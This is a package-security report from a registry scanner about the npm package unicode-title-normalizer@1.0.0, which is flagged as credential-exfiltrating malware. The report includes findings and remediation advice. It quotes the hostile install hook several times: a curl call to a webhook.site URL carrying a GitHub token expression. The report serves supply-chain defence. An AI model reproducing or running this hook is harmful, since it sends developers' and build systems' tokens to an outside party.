registry / Credential exfiltration / unicode-title-normalizer

unicode-title-normalizer

Says hello.

This report shows the evidence for unicode-title-normalizer@1.0.0. 1 of 5 known versions is blocked or flagged. The newest version, 0.0.0-stage, is allowed. See all versions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The install-time callback targets a fixed external webhook and includes a GitHub token expression in the request URL. This is concrete install-time credential disclosure behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package through npm, which runs its install hook.

Impact

The callback may receive the token value and installation request metadata.

Mechanism

The hook invokes curl against webhook.site with the token expression as part of the request path.

Attack narrative

During installation, the package invokes curl against a fixed webhook and appends a GitHub token expression to the URL. This creates an unsolicited credential disclosure path.

AI rationale

The install-time callback targets a fixed external webhook and includes a GitHub token expression in the request URL. This is concrete install-time credential disclosure behavior.

Evidence

package.json

Network endpoints1

webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines an install hook that runs curl against a fixed webhook URL with a GitHub token expression in the request path.

Evidence against

index.js exports a function that returns a greeting; it contains no additional network behavior.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 57 B of source

Source & flagged code

4 flagged

package.jsonView file

Lines 1-14json

2 "name": "unicode-title-normalizer",

3 "version": "1.0.0",

4 "description": "Says hello.",

5 "main": "index.js",

6 "license": "MIT",

7 "files": [

8 "index.js"

9 ],

10 "scripts": {

11 "install": "echo \"hey hey hey hoooo\" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L11

12 }

13}

High

Suspicious Lifecycle Evidence

package.json defines an install hook that runs curl against a fixed webhook URL with a GitHub token expression in the request path.

package.jsonView on unpkg · L11

package.json#scripts.installView file

•scripts.install = echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}

High

Manifest Script External Callback

An npm script contacts a known out-of-band callback or webhook service.

package.json#scripts.installView on unpkg

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.install = echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"install": "echo \"hey hey hey hoooo\" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}" } }

High

Suspicious Lifecycle Evidence

package.json defines an install hook that runs curl against a fixed webhook URL with a GitHub token expression in the request path.

package.jsonView on unpkg · L11

•scripts.install = echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

3 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script External Callbackpackage.json#scripts.install

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

Affected versions and remediation

This report applies to unicode-title-normalizer@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing unicode-title-normalizer@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 04:15:05.659Z (UTC).

Source advisory published: 2026-10-20 15:59:30.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

5 known versions

0.0.0-stagelatestClean—AllowPublishedOct 20, 2026, 3:58 PM 1.0.5Clean—AllowPublishedOct 20, 2026, 9:07 AM 1.0.4Clean—AllowPublishedOct 20, 2026, 8:32 AM 1.0.2Clean—AllowPublishedOct 19, 2026, 6:42 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Source & flagged code

Related packages

Other credential exfiltration packages